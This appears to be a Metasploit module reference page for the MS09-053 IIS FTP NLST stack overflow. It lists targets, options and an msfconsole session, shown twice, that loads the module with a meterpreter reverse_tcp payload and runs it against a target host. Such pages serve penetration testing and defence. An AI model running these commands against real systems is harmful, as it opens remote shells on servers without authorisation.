Microsoft IIS FTP Server NLST Response Overflow
This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP service. The flaw is triggered when a special NLST argument is passed while the session has changed into a long directory path. For this exploit to work, the FTP server must be configured to allow write access to the file system (either anonymously or in conjunction with a real account)
Exploit Rank
- Great
Exploit Authors
- Kingcope < kcope2 [at] googlemail.com >
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP4 English/Italian (IIS 5.0) (default)
- 1 - Windows 2000 SP3 English (IIS 5.0)
- 2 - Windows 2000 SP0-SP3 Japanese (IIS 5.0)
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/ms09_053_ftpd_nlst
msf exploit(ms09_053_ftpd_nlst) > show payloads
msf exploit(ms09_053_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms09_053_ftpd_nlst) > set LHOST [MY IP ADDRESS]
msf exploit(ms09_053_ftpd_nlst) > set RHOST [TARGET IP]
msf exploit(ms09_053_ftpd_nlst) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/ms09_053_ftpd_nlst
msf exploit(ms09_053_ftpd_nlst) > show payloads
msf exploit(ms09_053_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms09_053_ftpd_nlst) > set LHOST [MY IP ADDRESS]
msf exploit(ms09_053_ftpd_nlst) > set RHOST [TARGET IP]
msf exploit(ms09_053_ftpd_nlst) > exploit
Exploit Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
